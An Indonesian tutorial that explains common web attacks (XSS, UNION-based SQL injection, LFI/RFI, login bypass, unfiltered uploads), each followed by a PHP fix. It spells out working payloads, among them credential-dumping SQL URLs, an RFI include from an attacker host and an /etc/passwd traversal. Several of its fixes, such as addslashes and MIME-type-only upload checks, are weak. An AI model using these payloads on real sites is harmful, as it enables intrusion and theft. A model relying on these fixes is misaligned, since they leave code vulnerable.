Anda di halaman 1dari 11

Teknik hacking – Deface Web

Assalamualaikum

Kali ini saya akan berbagi bagaimana cara Menangkal serangan2


umum teknik hacking pada vuln-vuln website yang sering dilakukan
tanpa sengaja oleh seorang programmer web…..

Teknik-teknik serangan yang akan kita bahas cara menangkalnya


adalah :

1. XSS

2. SQLInjection

3. LFI / RFI

4. Bypass Login

5. Filter Upload file

Siap, teknik serangannya perlu dibahas juga ga ya…….. hehehe, oke


deh akan saya bahas juga.

1. XSS

XSS adalah kepanjangan dari Cross Site Scripting. Maksudnya???


Hal ini terjadi ketika programmer menggunakan URL sebagai parsing
kalimat atau kata secara langsung pada halaman website.

Ok contohnya seperti ini:

http://www.target.com/index.php?
id=560&judul=Rekayasa+Perangkat+Lunak

Selanjutnya kalimat yang diletakkan pada get_variable judul akan


langsung saja ditampilkan pada halaman penerima, pada contoh ini
sang attacker dapat menyelipkan sebuah script pada get_variable
tersebut. contohnya.

http://www.target.com/index.php?id=560&judul<script>alert(’Tes
XSS!!!’);</script>

<script>alert(’Tes XSS!!!’);</script> script ini merupakan script


javascript yang digunakan untuk menampilkan sebuah alert box.
Pada kasus yang lebih gawat serangan XSS juga dapat dilakukan
untuk mendapatkan cookies website, fake interface dan lain2,
maklum saya bukan attacker jadi kurang terlalu paham.
PENANGKAL

Untuk menangkal serangan ini, kita dapat menambahkan function php


htmlentities. Fungsi dari function ini adalah untuk menerjemahkan
karakter yang termasuk dalam pembentuk html ke dalam karakter
codenya….

Contoh code pembentuknya dapat dilihat pada tabel berikut

Result Description Entity Name Entity Number

non-breaking space

< less than < <

> greater than > >

& ampersand & &

¢ cent ¢ ¢

£ pound £ £

¥ yen ¥ ¥

€ euro € €

§ section § §

© copyright © ©

® registered trademark ® ®

Cara pakai function ini :

<?php

$judul = htmlentities ($_GET['judul']);

echo $judul;

?>

$judul = htmlentities ($_GET['judul']); <<<—- Disini ditambahkan


funtion tersebut untuk merubah semua karakter html ke karakter
pembentuknya…

Sukses……… Sekarang Website kita sudah terbebas dari serangan XSS.


2. SQLInjection

Bagi penggiat dunia hacking, mungkin istilah ini sudah tidak


asing lagi. Hm…….. ya, super simple basic web attacking technique
(bener ga ya bahasanya). Ya, teknik serangan website paling
dasar.

Bug ini terjadi karena kesalah yang terjadi ketika dilakukan


perintah _select query pada tabel dalam database.

Contohnya dulu.

Misal url yang tampak pada address bar seperti ini

http://www.target.com/index.php?id=560

Maksud dari url ini untuk menampilkan berita atau artikel atau
apalah yang memiliki id 560 pada tabel dalam database.

Selanjutnya pada halaman penerima dilakukan query untuk meminta


isi record tabel yang memiliki id 560.

contoh :

<?php

include “‘connect.php”;

mysql_select_db (”db_web”, $con);

$id = $_GET['id'];

$result = mysql_query (”select * from `tblBerita` where `id` =


$id “);

dan seterusnya….

?>

Yang kita gunakan untuk permisalah adalah id = 560, baik kita


coba terjemahkan query sql nya.

“select * from `tblBerita` where `id` = 560″

SQLInjection

1. Teknik serangan SQLinjection dimulai dengan mengetes suatu


get_variable dengan menambahkan karakter single quote (’)
http://www.target.com/index.php?id=560′

Selanjutnya pada query sql yang ada pada script akan berubah
menjadi

select * from `tblBerita` where `id` = 560′ << terdapat karakter


petik satu.

Hal ini menyebabkan query error dan menampilkan pesan error nya
pada halaman website.

2. Dengan tanda error ini, selanjutnya sang attacker melanjutkan


melakukan inject pada query sql ini dengan tujuan menampilkan
informasi yang ada pada tabel user, admin atau nama tabel lain
untuk mengetahui user dan password yang tersimpan dalam website.

HOW???? HOW????? Caranya bagaimana. Pada MYSQL versi 5, hal ini


dapat dilakukan dengan memanfaatkan informasi yang terdapat pada
database information_schema.

Kita lanjut dulu saja SQLInjectionnya.

Selanjutnya kita akan coba cari jumlah record yang ada pada
tabel.

http://www.target.com/index.php?id=560 order by 1

Kita tes apakah error atau tidak, seharusnya tidak.

select * from `tblBerita` where `id` = 560 order by 1

Maksud query ini, hasil select dirutkan berdasarkan pada colomn


nomer 1.

Coba terus sampai tampil pesan error

http://www.target.com/index.php?id=560 order by 2 <<<— masih


belum error

http://www.target.com/index.php?id=560 order by 3 <<<— masih


belum error

http://www.target.com/index.php?id=560 order by 4 <<<— masih


belum error

http://www.target.com/index.php?id=560 order by 5 <<<— akhirnya


error juga
Ini misal aja loh ya, di lapangan ntar jumlah angkanya bisa
berbeda-beda. Ini menandakan bahawa field atau colomn yang ada
pada tabel hanya ada 4.

3. Selanjutnya, lakukan union select

http://www.target.com/index.php?id=560 and 1=2 union select 1, 2,


3, 4

Query pada web jadi seperti ini

select * from `tblBerita` where `id` = 560 and 1=2 union select
1, 2, 3, 4

Result aslinya tidak akan tampil, yang tampil malah angka-angka


yang dijadikan union select. Kita cari angka mana yang tampil
pada halaman website. Misal angka yang tampil pada halaman
website angka 2.

4. Kita dapat menggunakan function2 sql pada url tersebut,


contohnya version()

http://www.target.com/index.php?id=560 and 1=2 union select 1,


version(), 3, 4

Fungsi ini berguna untuk menampilkan versi mysql yang digunakan,


jika versi mysql adalah versi 5. Kida dapat mulai melakukan
inject untuk menampilkan informasi yang ada pada database
information schema.

http://www.target.com/index.php?id=560 and 1=2 union select 1,


group_concat(table_name), 3, 4 from information_schema.tables
where table_schema = database()

Query ini berfungsi untuk menampilkan isi dari table `tables`


yang ada pada database information_schema yang mana nama
databasenya = database(), funsi database() akan menghasilkan nama
database yang digunakan oleh website.

Setelah nama2 table diketahui, kita akan coba menampilkan nama2


colomn yang ada pada table. Misal nama table yang akan kita
tampilkan isi kolomnya `tbluser`

http://www.target.com/index.php?id=560 and 1=2 union select 1,


group_concat(column_name), 3, 4 from information_schema.columns
where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah dulu kata `tbluser` ke


bentuk hexa, gunakan website2 yang menyediakan jasa convert text
ke hexa.
http://www.target.com/index.php?id=560 and 1=2 union select 1,
group_concat(column_name), 3, 4 from information_schema.columns
where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah kata `tbluser` ke bentuk


hexa.

http://www.target.com/index.php?id=560 and 1=2 union select 1,


group_concat(column_name), 3, 4 from information_schema.columns
where table_name = 0×6164A689 (ni hexa yang aku pake ngawur,
heheh ntar coba sendiri aja)

Setelah keluar nama2 colomn dari tabel `tbluser`, kita lanjutkan


untuk menampilkan record dari tabel ini.

Misal colomn2 yang tampil

id, user, email, password

http://www.target.com/index.php?id=560 and 1=2 union select 1,


group_concat(user, 0×3a, password), 3, 4 from tbluser

Kita tampilkan yang penting2 saja……

Selanjutnya isi tabel akan ditampilkan, dan setelah kita dapatkan


user dan password admin. Kita cari tempat untuk melakukan login
ke system dan Eng ing eng, akses kita menjadi Administrator pada
website.

PENANGKAL

Teknik serangan yang panjang lebar ini ternyata hanya memerlukan


sedikit tambahan code untuk menambalnya, benarkah??? ya…. Mari
kita bahas.

$result = mysql_query (”select * from `tblBerita` wheere `id` =


$id “);

Serangan ini dapat terjadi dikarenakan tidak ada filter pada


get_variable, sehingga attacker dapat menambahkan query jahat
pada query aslinya. hehehe, nilai yang dibutuhkan pada
get_variable id hanya nilai numeric saja sehingga kita dapat
melakukan pengecekan apakah nilainya angka valid atau tidak

if (!is_numeric($id))

$id = 0;

$result = mysql_query (”select * from `tblBerita` where `id` =


$id “);
Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika
nilai id tidak valid sebagai angka.

Huft, sudah kok itu aja……. heheheeh…….

3. LFI / RFI

LFI (Local File Inclusion) Bug yang memungkinkan sang attacker


untuk menampilkan file2 yang ada pada server.

RFI (Remote File Inclusion) Bug yang memungkinkan sang attacker


untuk mengincludekan file dari luar server. B

Bug ini dapat terjadi ketika setting konfigurasi php di server

allow_url_include = on

allow_url_fopen = on

magic_quote_gpc = off

Bug ini terjadi karena kesalahan dalam penggunaan function


include(), include_once(), require(), require_once()

Misal

http://www.target.com/index.php?page=news

Selanjutnya pada code kita langsung melakukan include pada


halaman yang di kirim melalui variable pada url

$page = $_GET['page'];

include($page.”.php”);

Contoh serangan

http://www.target.com/index.php?page=http%3A%2F
%2Fwww.attacker.com%2Ffilejahat.txt?? <– RFI

http://www.target.com/index.php?page=..%2F..%2F..%2F..%2Fetc
%2Fpasswd%00 <– LFI

PENANGKAL

Baiknya kita berlaku lakukan pengecekan pada setiap halaman yang


akan kita tampilkan dengan menggunakan function ini misal

<?php
$page = $_GET['page'];

if ($page == ‘news’)

include(”news.php”);

elseif ($page == ‘tutorial’)

include(”tutorial.php”);

?>

Dan selanjutnya, hmmm ternyata kesalahan yang sederhana benar2


dapat menyebabkan kejadian yang fatal.

Next…

4. Bypass Login

Teknik ini sebenarnya juga merupakan bentuk lain dari


SQLInjection Contoh

Pada halaman login user diminta untuk menginputkan User dan


password

user : admin

password : pass123

Selanjutnya pada query

<?php

include “‘connect.php”;

mysql_select_db (”db_web”, $con);

$user = $_GET['user'];

$pass = $_GET['password'];

$result = mysql_query (”select * from `tbladmin` where `uname` =


‘$user’ and `upass` = ‘$pass’ “);

dan seterusnya

?>

Jika kita terjemahkan


“select * from `tbladmin` where `uname` = ‘admin’ and `upass` =
‘pass123′

Ok bentuk2 bypass yang dapat digunakan

‘ or ‘1′=’1

Coba kalau kita ubah isian user dan passwordnya

user : admin

password : pass123′ or ‘1′=’1

Query SQLnya akan berubah menjadi

“select * from `tbladmin` where `uname` = ‘admin’ and `upass` =


‘pass123′ or ‘1′=’1′

Ow ow ow, dengan cara ini tanpa sang attacker tau dengan password
adminnya pun dia tetap bisa melakkan login ke system. Sungguh
sangat berbahaya kan.

PENANGKAL

Untuk menangkal serangan ini kita dapat menggunakan function


addslashes() yang ada pada php

string addslashes(string $str), fungsinya untuk mengembalikan


karakter dengan backslash (\) untuk karakter2 yang memerlukan
penanda khusu pada query sql

‘ menjadi \’

Contoh

<?php

include “‘connect.php”;

mysql_select_db (”db_web”, $con);

$user = addslashes($_GET['user']);

$pass = addslashes($_GET['password']);

$result = mysql_query (”select * from `tbladmin` where `uname` =


‘$user’ and `upass` = ‘$pass’ “);

dan seterusnya
?>

Fungsi lain, mysqli_real_escape_string(), htmlspecialchars() dll

5. Filter Upload file

Filter file upload, kesalahan pada fitur ini dapat menyebabkan


website yang kita miliki dapat dikuasai oleh seorang attacker
jika tidak adanya filter yang benar pada file dengan tipe apa
saja yang dapat masuk ke dalam di upload. Begini prosesnya…

Attacker akan meng-Upload file Backdoor, script jahat atau yang


lain untuk dapat menjalankan script tersebut secara langsung pada
server. Attacker akan dapat mengakses database website dengan
melihat konfigurasi database yang ada pada file config, melakukan
edit file atau bahkan melakukan Deface (Mengganti halaman depan
website)

PENANGKAL

Lakukan pengecekan pada tipe file sebelum melakukan eksekusi


upload file ke server

<?php

$image = $_FILES['image']['name']; $imagetipe = $_FILES['image']


['type']; if ($image<>” && !(($imagetipe == “image/gif”) ||
($imagetipe == “image/jpeg”) || ($imagetipe == “image/bmp”) ||
($imagetipe == “image/jpg”)

|| ($imagetipe == “image/png”))){ echo “<script>alert(’Images


Tidak Valid!! Image Yang diijinkan adalah PNG, GIF dan
JPG’);</script>”; }else {

Kode upload file ………

?>

Dengan kode diatas website hanya mengijinkan file bertipe gif,


bmp, jpg dan jpeg saja yang dapat diupload.

FINISH

Ok, sekian terima kasih telah menyempatkan untuk membaca tutorial


saya ini Moga bermanfaat bagi para pengembang website yang sedang
mencari informasi tentang teknik patching ini, sengaja saya
jelaskan pula teknik serangannya agar para pengembang website
juga dapat tau dengan jelas penyebab terjadinya serangan-sernagan
itu… Selanjutnya melakukan penambalan pada script2 yang salah
dengan cara yang saya sarankan atau dengan cara lain sesuai
kreatifitas masing2….

Wassalamualaikum wr, wb….

Anda mungkin juga menyukai